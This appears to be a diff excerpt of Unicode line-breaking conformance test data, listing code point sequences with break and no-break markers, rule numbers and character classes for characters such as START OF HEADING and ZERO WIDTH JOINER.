+× 0001 × 0308 × 0020 × 0021 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0001 × 00A0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0001 × 0020 ÷ 00A0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0001 × 0308 × 00A0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0001 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0001 × 0020 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0001 × 0308 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0001 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0001 × 0020 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0001 × 0308 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0001 × 05D0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0001 × 0020 ÷ 05D0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0001 × 0308 × 05D0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0001 × 002D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0001 × 0020 ÷ 002D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0001 × 0308 × 002D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0001 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0001 × 0020 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0001 × 0308 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0001 × 2024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0001 × 0020 ÷ 2024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0001 × 0308 × 2024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0001 × 002C ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [13.04] COMMA (IS) ÷ [0.3]
+× 0001 × 0020 × 002C ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0001 × 0308 × 002C ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] COMMA (IS) ÷ [0.3]
+× 0001 × 0308 × 0020 × 002C ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0001 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0001 × 0020 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0001 × 0308 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0001 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0001 × 0020 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0001 × 0308 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0001 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0001 × 0020 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0001 × 0308 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0001 × 000A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0001 × 0020 × 000A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0001 × 0308 × 000A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0001 × 0308 × 0020 × 000A ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0001 × 0085 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0001 × 0020 × 0085 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0001 × 0308 × 0085 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0001 × 0308 × 0020 × 0085 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0001 × 17D6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0001 × 0020 ÷ 17D6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0001 × 0308 × 17D6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0001 × 0030 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0001 × 0020 ÷ 0030 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0001 × 0308 × 0030 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0001 × 0028 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0001 × 0020 ÷ 0028 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0001 × 0308 × 0028 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0001 × 0025 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0001 × 0020 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0001 × 0308 × 0025 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0001 × 0024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0001 × 0020 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0001 × 0308 × 0024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0001 × 0022 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0001 × 0020 ÷ 0022 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0001 × 0308 × 0022 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0001 × 0020 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0001 × 0020 × 0020 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0001 × 0308 × 0020 × 0020 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0001 × 002F ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
+× 0001 × 0020 × 002F ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0001 × 0308 × 002F ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
+× 0001 × 0308 × 0020 × 002F ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0001 × 2060 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0001 × 0020 × 2060 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0001 × 0308 × 2060 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0001 × 0308 × 0020 × 2060 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0001 × 200B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0001 × 0020 × 200B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0001 × 0308 × 200B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0001 × 0308 × 0020 × 200B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0001 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0001 × 0020 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0001 × 0308 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0001 ÷ 261D ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0001 × 0020 ÷ 261D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0001 × 0308 ÷ 261D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 261D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0001 ÷ 1F3FB ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0001 × 0020 ÷ 1F3FB ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0001 × 0308 ÷ 1F3FB ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0001 × 0001 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0001 × 0020 ÷ 0001 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0001 × 0308 × 0001 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0001 × 200D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0001 × 0020 ÷ 200D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0001 × 0308 × 200D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 200D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0001 × 00A7 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0001 × 0020 ÷ 00A7 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0001 × 0308 × 00A7 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0001 × 50005 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0001 × 0020 ÷ 50005 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0001 × 0308 × 50005 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0001 × 0E01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0001 × 0020 ÷ 0E01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0001 × 0308 × 0E01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0001 × 3041 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0001 × 0020 ÷ 3041 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0001 × 0308 × 3041 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200D × 0023 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200D × 0020 ÷ 0023 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200D × 0308 × 0023 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 200D ÷ 2014 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 200D × 0020 ÷ 2014 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 200D × 0308 ÷ 2014 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 200D × 0009 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200D × 0020 ÷ 0009 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200D × 0308 × 0009 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 200D ÷ 00B4 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200D × 0020 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200D × 0308 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 200D × 000B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 200D × 0020 × 000B ÷ # × [0.3] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
